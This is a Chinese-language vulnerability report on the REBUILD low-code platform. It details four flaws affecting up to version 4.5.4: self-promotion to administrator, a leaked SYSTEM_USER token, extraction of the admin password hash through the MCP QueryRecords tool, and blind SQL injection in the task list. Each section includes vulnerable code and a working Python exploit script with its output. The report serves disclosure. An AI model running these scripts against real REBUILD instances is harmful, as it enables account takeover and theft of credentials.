REBUILD 漏洞报告
软件名称:REBUILD
开发者或厂商:REBUILD
代码仓库:https://github.com/getrebuild/rebuild
1. 普通账号修改自己的角色成为管理员
| 简要描述: | 普通账号可以越权把自己的角色改成管理员。 |
|---|---|
| 影响版本: | 3.5.0 ~ 4.5.4 |
| 前置条件: | 攻击者拥有普通账号。 |
漏洞成因
/app/entity/record-save 与 /app/entity/common-save 都从请求 JSON 的 metadata.entity 取实体名,再按实体分发到对应的 Service。User 不属于业务实体,字段写入校验对非业务实体提前返回,metadata-conf.xml 中标记为 updatable="false" 的 roleId 因此仍然可写。相关代码如下:
// src/main/java/com/rebuild/core/metadata/EntityRecordCreator.java:82-84 commit 741e3e5
@Override
public boolean onSetFieldValueWarn(Field field, String value, Record record) {
// 非业务实体
if (!MetadataHelper.isBusinessEntity(field.getOwnEntity())) return true;
UserService.update 的 checkAdminGuard 不限制用户改自己的字段。相关代码如下:
// src/main/java/com/rebuild/core/privileges/UserService.java:236-247 commit 741e3e5
private void checkAdminGuard(Permission action, ID user) {
ID currentUser = UserContextHolder.getUser();
if (UserHelper.isAdmin(currentUser)) return;
if (action == BizzPermission.CREATE || action == BizzPermission.DELETE) {
throw new AccessDeniedException(Language.L("无操作权限"));
}
// 用户可自己改自己
if (action == BizzPermission.UPDATE && currentUser.equals(user)) return;
throw new AccessDeniedException(Language.L("无操作权限"));
}
因此,普通账号只要把 roleId 指向管理员角色 003-0000000000000001,就能获得管理员权限。
复现环境搭建
使用官方镜像 getrebuild/rebuild:4.5.3 和 MySQL 8.0,docker-compose.yml 如下:
services:
mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_HOST: '%'
MYSQL_ROOT_PASSWORD: 'rebuild!P4wd'
healthcheck:
test: ['CMD-SHELL', 'mysqladmin ping -h mysql -u root -p$$MYSQL_ROOT_PASSWORD']
interval: 5s
timeout: 3s
retries: 10
rebuild:
image: getrebuild/rebuild:4.5.3
depends_on:
mysql:
condition: service_healthy
entrypoint: ['sh', '-c']
command:
- >
mkdir -p /app/rebuild/.rebuild &&
java -Dinitialize=docker -Duser.timezone=Asia/Shanghai -DSN= -DDataDirectory=/app/rebuild/.rebuild -jar /app/rebuild/rebuild-boot.jar
ports:
- '18080:18080'
volumes:
- rebuild_data:/app/rebuild/.rebuild
volumes:
mysql_data:
rebuild_data:
启动后,用管理员账号在管理中心新建部门 Default Dept 和用户 testuser,密码设为 Test@1234,角色选择 RB示例角色,并在角色权限中勾选“允许登录”。
复现过程
执行以下脚本:
import hashlib, httpx, datetime, re
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.get(f"{BASE}/settings/user")
uid = re.search(r'name="rb.currentUser" content="([^"]+)"', r.text).group(1)
print("uid", uid)
r = c.get(f"{BASE}/user/admin-verify")
print("admin-verify before", r.status_code, r.text)
r = c.post(f"{BASE}/app/entity/record-save",
json={"metadata": {"entity": "User", "id": uid},
"roleId": "003-0000000000000001"})
print("role change", r.status_code, r.text)
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
payload = hashlib.sha256((hashlib.sha256("Test@1234".encode()).hexdigest() + "iloverb" + salt).encode()).hexdigest()
r = c.post(f"{BASE}/user/admin-verify", content=payload, headers={"Content-Type": "text/plain"})
print("admin-verify after", r.status_code, r.text)
r = c.get(f"{BASE}/admin/bizuser/users")
print("admin page", r.status_code, "len", len(r.text))
输出如下:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
uid 001-01a1b0408a060dd8
admin-verify before 403 {"timestamp":"2026-11-06 17:46:22","status":403,"error":"Forbidden","path":"/user/admin-verify"}
role change 200 {"data":{"id":"001-01a1b0408a060dd8"},"error_code":0,"error_msg":"调用成功"}
admin-verify after 200 {"error_code":0,"error_msg":"调用成功"}
admin page 200 len 26909
随后用 testuser 登录浏览器,打开管理中心,已经具有管理员权限:

2. 普通账号通过 X-AuthToken 获得 SYSTEM_USER 身份
| 简要描述: | 普通账号可以从文件预览接口取得 SYSTEM_USER 的 CSRF token,再用该 token 通过 X-AuthToken 以 SYSTEM_USER 身份调用接口。 |
|---|---|
| 影响版本: | 4.3.0 ~ 4.5.4 |
| 前置条件: | 攻击者拥有普通账号。 |
漏洞成因
FilePreviewer 对非 ID 的 src 不做存在性或归属校验,getFileFullUrl 把新生成的 CSRF token 拼进 302 地址返回。相关代码如下:
// src/main/java/com/rebuild/web/commons/FilePreviewer.java:138-144 commit 741e3e5
private ModelAndView ooPreviewOrEditor(HttpServletRequest request, HttpServletResponse response, boolean editor) throws IOException {
String src = getParameterNotNull(request, "src");
ID id = null;
if (ID.isId(src)) {
id = ID.valueOf(src);
src = getFileById(id, getRequestUser(request));
}
if (!OnlyOffice.isUseOoPreview()) {
String previewUrl = OnlyOffice.getBestPreviewUrl();
previewUrl += CodecUtils.urlEncode(getFileFullUrl(src, AppUtils.getRequestUser(request)));
response.sendRedirect(previewUrl);
return null;
}
// src/main/java/com/rebuild/web/commons/FilePreviewer.java:376-388 commit 741e3e5
protected String getFileFullUrl(final String src, ID user) {
if (CommonsUtils.isExternalUrl(src)) return src;
if (user == null) throw new InvalidParameterException(Language.L("无效请求用户"));
String fileUrl = src;
boolean temp = fileUrl.startsWith("/temp/");
boolean data = fileUrl.startsWith("/data/");
if (temp || data) fileUrl = fileUrl.substring(6);
fileUrl = String.format("/filex/download/%s?temp=%s&data=%s&_csrfToken=%s",
fileUrl, temp, data, AuthTokenManager.generateCsrfToken(60 * 5));
fileUrl = RebuildConfiguration.getHomeUrl(fileUrl);
return fileUrl;
}
上述代码中的 AuthTokenManager.generateCsrfToken(60 * 5) 没有用户参数,generateToken 在 user 为空时视为 SYSTEM_USER。相关代码如下:
// src/main/java/com/rebuild/api/user/AuthTokenManager.java:62-71 commit 741e3e5
protected static String generateToken(ID user, int seconds, String type) {
// Type,User,Time,Version
String desc = String.format("%s,%s,%d,v2",
ObjectUtils.defaultIfNull(type, TYPE_ACCESS_TOKEN),
ObjectUtils.defaultIfNull(user, UserService.SYSTEM_USER),
System.nanoTime());
String token = EncryptUtils.toSHA1Hex(desc);
Application.getCommonsCache().put(TOKEN_PREFIX + token, desc, seconds);
return token;
}
因此,攻击者可以从文件预览接口获得 SYSTEM_USER 的 token。
AppUtils.getRequestUser 在没有会话时读取 X-AuthToken,把该 token 当作登录凭据。相关代码如下:
// src/main/java/com/rebuild/utils/AppUtils.java:100-118 commit 741e3e5
public static ID getRequestUser(HttpServletRequest request, boolean refreshToken) {
Object user = null;
try {
user = request.getSession().getAttribute(WebUtils.CURRENT_USER);
} catch (Exception resHasBeenCommitted) {
log.debug("resHasBeenCommitted", resHasBeenCommitted);
}
if (user == null) user = getRequestUserViaToken(request, refreshToken);
return user == null ? null : (ID) user;
}
protected static ID getRequestUserViaToken(HttpServletRequest request, boolean refreshToken) {
String authToken = request.getHeader(HF_AUTHTOKEN);
if (authToken != null) {
return AuthTokenManager.verifyToken(authToken, false, refreshToken);
}
return getRequestUserViaAk(request, false);
}
复现环境搭建
重建环境,按第 1 节的方法创建普通用户 testuser。
复现过程
执行以下脚本:
import hashlib, httpx, datetime, re
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.get(f"{BASE}/commons/file-preview", params={"src": "/data/anything.txt"}, follow_redirects=False)
print("file-preview", r.status_code)
print("Location", r.headers.get("location"))
token = re.search(r"_csrfToken(?:=|%3D)([a-f0-9]+)", r.headers["location"]).group(1)
print("csrfToken", token)
c.cookies.clear()
r = c.get(f"{BASE}/app/entity/common-get",
params={"id": "001-0000000000000000", "fields": "loginName,fullName,isDisabled"},
headers={"X-AuthToken": token})
print("common-get", r.status_code, r.text)
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
system_payload = hashlib.sha256(("system" + "iloverb" + salt).encode()).hexdigest()
r = c.post(f"{BASE}/user/admin-verify", content=system_payload,
headers={"Content-Type": "text/plain", "X-AuthToken": token})
print("admin-verify", r.status_code, r.text)
r = c.get(f"{BASE}/admin/bizuser/users", headers={"X-AuthToken": token})
print("admin page", r.status_code, len(r.text))
运行输出如下:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
file-preview 302
Location https://view.officeapps.live.com/op/view.aspx?src=https%3A%2F%2Fgetrebuild.com%2Ffilex%2Fdownload%2Fanything.txt%3Ftemp%3Dfalse%26data%3Dtrue%26_csrfToken%3D523c786f60447bed3505aec8612b6021deea8168
csrfToken 523c786f60447bed3505aec8612b6021deea8168
common-get 200 {"data":{"loginName":"system","fullName":"系统用户","isDisabled":"T","userId":"001-0000000000000000"},"error_code":0,"error_msg":"调用成功"}
admin-verify 200 {"error_code":0,"error_msg":"调用成功"}
admin page 200 26578
3. 普通账号通过 MCP 获取管理员口令哈希并登录
| 简要描述: | 普通账号可以调用 MCP 的 QueryRecords 工具,对 User.password 做前缀匹配,逐位取出管理员口令哈希,再用该哈希计算登录载荷登录管理员。 |
|---|---|
| 影响版本: | 4.5.0 ~ 4.5.4 |
| 前置条件: | 攻击者拥有普通账号。 |
漏洞成因
QueryRecords 只检查实体是否存在,不限制业务实体,也不检查字段是否允许查询。相关代码如下:
// src/main/java/com/rebuild/core/aibot2/tool/QueryRecords.java:43-53 commit 741e3e5
Entity entity = ToolHelper.resolveEntity(entityName);
if (entity == null) {
throw new KnownToolException("未知实体 : " + entityName + ToolHelper.suggestEntity(entityName));
}
String name = args.getString("name");
JSONArray filter = args.getJSONArray("filter");
String equation = args.getString("equation");
String fields = args.getString("fields");
String sort = args.getString("sort");
int limit = args.getIntValue("limit");
queryByFilter 把用户提交的 filter 交给 AdvFilterParser 生成条件。AdvFilterParser 支持 LK2 前缀匹配,于是可以对 password 做逐位前缀判断。相关代码如下:
// src/main/java/com/rebuild/core/service/query/AdvFilterParser.java:769-773 commit 741e3e5
} else if (op.equalsIgnoreCase(ParseHelper.LK1)) {
value = '%' + value.replace("%", "\\%");
} else if (op.equalsIgnoreCase(ParseHelper.LK2)) {
value = value.replace("%", "\\%") + '%';
}
sb.append(quoteValue(value, lastFieldMeta.getType()));
登录校验使用 sha256(库中 password + "iloverb" + UTC 日期),拿到口令哈希就能计算登录载荷。相关代码如下:
// src/main/java/com/rebuild/web/user/signup/LoginAction.java:293-299 commit 741e3e5
if (o == null || o[0] == null) return false;
String salt = "iloverb" + LocalDate.now(ZoneOffset.UTC).format(DateTimeFormatter.BASIC_ISO_DATE);
String hash = EncryptUtils.toSHA256Hex(o[0].toString() + salt);
return StringUtils.equals(passwd2sha, hash);
复现环境搭建
重建环境,按第 1 节的方法创建普通用户 testuser。
复现过程
用 testuser 登录,生成个人访问密钥,再调用 MCP 接口。脚本如下:
import hashlib, httpx, datetime, json, string
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.post(f"{BASE}/settings/access-token/generate")
print("access-token", r.text)
ak = r.json()["data"]["token"]
def total(prefix):
body = {
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {"name": "QueryRecords", "arguments": {
"entity": "User", "fields": "loginName", "limit": 1,
"filter": [
{"field": "loginName", "op": "EQ", "value": "admin"},
{"field": "password", "op": "LK2", "value": prefix}
],
"equation": "AND"
}}
}
r = c.post(f"{BASE}/gw/mcp/sse",
headers={"Authorization": "Bearer " + ak, "Content-Type": "application/json"},
json=body)
return json.loads(r.json()["result"]["content"][0]["text"])["total"]
known = ""
for i in range(64):
for ch in "0123456789abcdef":
if total(known + ch) == 1:
known += ch
break
print("hash", known)
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
payload = hashlib.sha256((known + "iloverb" + salt).encode()).hexdigest()
c.cookies.clear()
r = c.post(f"{BASE}/user/user-login",
params={"user": "admin", "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
print("admin login", r.status_code, r.text)
r = c.post(f"{BASE}/user/admin-verify", content=payload, headers={"Content-Type": "text/plain"})
print("admin-verify", r.status_code, r.text)
r = c.get(f"{BASE}/admin/bizuser/users")
print("admin page", r.status_code, len(r.text))
运行输出如下:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
access-token {"data":{"token":"rbk-0xUyX8OkPdHsIwUmp0hlbHwRQFyGFzCeU1gjshO1"},"error_code":0,"error_msg":"调用成功"}
hash 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
admin login 200 {"data":{},"error_code":0,"error_msg":"调用成功"}
admin-verify 200 {"error_code":0,"error_msg":"调用成功"}
admin page 200 27031
4. 项目任务列表 SQL 注入
| 简要描述: | 普通账号可以在 /project/tasks/list 的 plan 参数中注入 SQL,读取数据库中的口令哈希。 |
|---|---|
| 影响版本: | 2.7.0 ~ 4.5.4 |
| 前置条件: | 攻击者拥有普通账号,并且能访问至少一个项目(公开项目,或作为成员/被共享的项目)。 |
漏洞成因
buildCustomPlanSql 从 plan 参数中取出 - 后面的值,拼进 priority = 后面的 SQL。CommonsUtils.escapeSql 处理反斜杠和引号,但不处理空格、比较运算符和 0x 字面量。相关代码如下:
// src/main/java/com/rebuild/web/project/ProjectTaskController.java:158-168 commit 741e3e5
private String buildCustomPlanSql(String planKey, ID projectId) {
if (ID.isId(planKey)) {
return "projectPlanId = '" + planKey + "'";
}
String planValue = planKey.split("-")[1];
String baseSql = "projectId = '" + projectId + "' and ";
if (planKey.startsWith(ProjectController.GROUP_PRIORITY)) {
return baseSql + "priority = " + CommonsUtils.escapeSql(planValue);
}
// src/main/java/com/rebuild/utils/CommonsUtils.java:173-178 commit 741e3e5
public static String escapeSql(Object text) {
text = text.toString().replace("\\'", "'");
text = text.toString().replace("\\", "\\\\");
return StringEscapeUtils.escapeSql((String) text);
}
taskList 先执行 select count(taskId) from ProjectTask where ...,该查询使用 createQueryNoFilter,不带角色过滤。条件为真时 count 为任务数,条件为假时 count 为 0,因此可以把 count 当作布尔预言机。相关代码如下:
// src/main/java/com/rebuild/web/project/ProjectTaskController.java:128-132 commit 741e3e5
int count = -1;
if (pageNo == 1) {
String countSql = "select count(taskId) from ProjectTask where " + queryWhere;
Object[] count2 = Application.createQueryNoFilter(countSql).unique();
count = ObjectUtils.toInt(count2[0]);
ProjectTask 的 createdBy 是到 User 的引用字段,AjQL 支持 createdBy.password 这样的路径。任务由管理员创建时,createdBy.password 就是管理员的口令哈希。
该问题与 issue #597 不是同一处缺陷。#597 针对 3.2.3 及更早版本,注入字段 priority,目前已被修复;本漏洞注入 planValue。
复现环境搭建
重建环境,按第 1 节的方法创建普通用户 testuser。
用管理员账号新建公开项目 Public Project(scope=1),在项目中新建任务 Demo Task。
testuser 不是项目成员,但公开项目对所有登录用户可见。
复现过程
用 testuser 登录,执行以下脚本:
import hashlib, httpx, datetime, re
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.get(f"{BASE}/project/search", params={"gs": "PUB1"}, follow_redirects=False)
pid = re.search(r"/project/(050-[0-9a-f]+)/tasks", r.headers["location"]).group(1)
print("projectId", pid)
def hit(prefix, ch):
lo = (prefix + ch).encode().hex()
hi = (prefix + chr(ord(ch) + 1)).encode().hex()
plan = f"priority-1 and createdBy.password >= 0x{lo} and createdBy.password < 0x{hi}"
r = c.get(f"{BASE}/project/tasks/list",
params={"project": pid, "plan": plan, "pageNo": 1, "pageSize": 40})
return r.json()["data"]["count"] > 0
known = ""
for i in range(64):
for ch in "0123456789abcdef":
if hit(known, ch):
known += ch
break
print("hash", known)
运行输出如下:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
projectId 050-01a1b05b7c852f1c
hash 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
哈希与第 3 节得到的管理员口令哈希一致,说明该注入可以读取数据库中的口令字段。